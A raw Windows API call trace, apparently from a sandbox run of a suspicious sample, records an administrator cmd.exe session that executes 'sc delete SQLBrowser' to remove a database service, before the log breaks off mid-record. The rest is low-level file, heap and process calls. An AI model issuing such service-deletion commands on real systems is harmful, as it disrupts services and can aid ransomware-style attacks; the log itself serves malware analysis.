[0069.337] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.337] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.337] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="oVERAGENT\n\nce\n") returned 1 [0069.337] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.337] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.337] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="wERAGENT\n\nce\n") returned 1 [0069.337] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.337] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.337] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="sRAGENT\n\nce\n") returned 1 [0069.337] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.337] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.338] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="eAGENT\n\nce\n") returned 1 [0069.338] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.338] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.338] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="rGENT\n\nce\n") returned 1 [0069.338] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.338] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.338] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="\nENT\n\nce\n") returned 1 [0069.338] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.338] GetFileType (hFile=0xb8) returned 0x3 [0069.338] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.338] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.338] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.338] GetFileType (hFile=0x120) returned 0x3 [0069.338] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.338] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SQLBrowser\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SQLBrowser\n", lpUsedDefaultChar=0x0) returned 22 [0069.338] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x15, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x15, lpOverlapped=0x0) returned 1 [0069.339] GetProcessHeap () returned 0x4a0000 [0069.339] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c6630 [0069.339] GetProcessHeap () returned 0x4a0000 [0069.339] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c6630 | out: hHeap=0x4a0000) returned 1 [0069.339] GetProcessHeap () returned 0x4a0000 [0069.339] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0069.339] GetProcessHeap () returned 0x4a0000 [0069.339] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0069.339] GetProcessHeap () returned 0x4a0000 [0069.339] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x36) returned 0x4b6510 [0069.339] GetConsoleOutputCP () returned 0x1b5 [0069.339] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0069.339] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.339] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.340] GetProcessHeap () returned 0x4a0000 [0069.340] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0069.340] GetProcessHeap () returned 0x4a0000 [0069.340] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3c) returned 0x4baa40 [0069.340] GetProcessHeap () returned 0x4a0000 [0069.340] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0069.340] SetErrorMode (uMode=0x0) returned 0x1 [0069.340] SetErrorMode (uMode=0x1) returned 0x0 [0069.340] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0069.340] SetErrorMode (uMode=0x1) returned 0x1 [0069.340] GetProcessHeap () returned 0x4a0000 [0069.340] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0069.340] GetProcessHeap () returned 0x4a0000 [0069.340] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0069.340] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0069.340] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0069.340] GetProcessHeap () returned 0x4a0000 [0069.340] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0069.340] GetProcessHeap () returned 0x4a0000 [0069.340] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0069.340] GetProcessHeap () returned 0x4a0000 [0069.340] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0069.340] GetProcessHeap () returned 0x4a0000 [0069.340] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0069.341] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0069.341] GetProcessHeap () returned 0x4a0000 [0069.341] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0069.341] GetProcessHeap () returned 0x4a0000 [0069.341] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0069.341] GetProcessHeap () returned 0x4a0000 [0069.341] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0069.341] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.341] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.341] GetLastError () returned 0x2 [0069.341] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.341] GetLastError () returned 0x2 [0069.341] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.341] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0069.342] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0069.342] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.342] GetLastError () returned 0x2 [0069.342] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0069.342] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0069.342] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0069.342] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0069.342] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.343] GetProcessHeap () returned 0x4a0000 [0069.343] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0069.343] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.343] GetProcessHeap () returned 0x4a0000 [0069.343] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xa2) returned 0x4b9180 [0069.343] GetProcessHeap () returned 0x4a0000 [0069.343] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xa2 [0069.343] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SQLBrowser") returned 1 [0069.343] GetProcessHeap () returned 0x4a0000 [0069.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0069.344] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0069.344] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0069.344] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0069.344] GetProcessHeap () returned 0x4a0000 [0069.344] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.344] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0069.345] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0069.345] GetProcessHeap () returned 0x4a0000 [0069.345] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0069.345] GetProcessHeap () returned 0x4a0000 [0069.345] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0069.345] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SQLBrowser", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SQLBrowser", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete SQLBrowser", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x924, dwThreadId=0x934)) returned 1 [0069.349] CloseHandle (hObject=0x54) returned 1 [0069.349] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0069.349] GetProcessHeap () returned 0x4a0000 [0069.349] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0069.349] GetEnvironmentStringsW () returned 0x4c1b10* [0069.349] GetProcessHeap () returned 0x4a0000 [0069.349] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0069.349] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0069.349] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0069.349] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd5000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0069.349] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0069.414] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0069.414] CloseHandle (hObject=0x50) returned 1 [0069.414] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0069.415] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0069.415] GetProcessHeap () returned 0x4a0000 [0069.415] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0069.415] GetEnvironmentStringsW () returned 0x4c1b10* [0069.415] GetProcessHeap () returned 0x4a0000 [0069.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0069.415] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0069.415] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0069.415] GetProcessHeap () returned 0x4a0000 [0069.415] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0069.415] GetEnvironmentStringsW () returned 0x4c1b10* [0069.415] GetProcessHeap () returned 0x4a0000 [0069.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0069.415] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0069.415] GetProcessHeap () returned 0x4a0000 [0069.415] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0069.415] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0069.415] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0069.416] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.416] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0069.416] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.416] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0069.416] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.416] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0069.416] GetConsoleOutputCP () returned 0x1b5 [0069.416] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0069.417] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.417] GetProcessHeap () returned 0x4a0000 [0069.417] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0069.417] GetProcessHeap () returned 0x4a0000 [0069.417] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0069.417] GetProcessHeap () returned 0x4a0000 [0069.417] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0069.417] GetProcessHeap () returned 0x4a0000 [0069.417] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0069.417] GetProcessHeap () returned 0x4a0000 [0069.417] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0069.417] GetProcessHeap () returned 0x4a0000 [0069.417] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0069.417] GetProcessHeap () returned 0x4a0000 [0069.417] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0069.417] GetProcessHeap () returned 0x4a0000 [0069.417] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0069.417] GetProcessHeap () returned 0x4a0000 [0069.417] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0069.417] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0069.417] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.417] GetFileType (hFile=0x120) returned 0x3 [0069.417] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.417] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0069.417] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0069.418] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0069.418] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0069.418] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0069.418] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0069.418] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.418] GetFileType (hFile=0x120) returned 0x3 [0069.418] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.418] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0069.418] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0069.418] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.418] GetFileType (hFile=0xb8) returned 0x3 [0069.418] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.418] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.418] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.418] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete SQLBrowser\nENT\n\nce\n") returned 1 [0069.418] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.418] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.418] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: 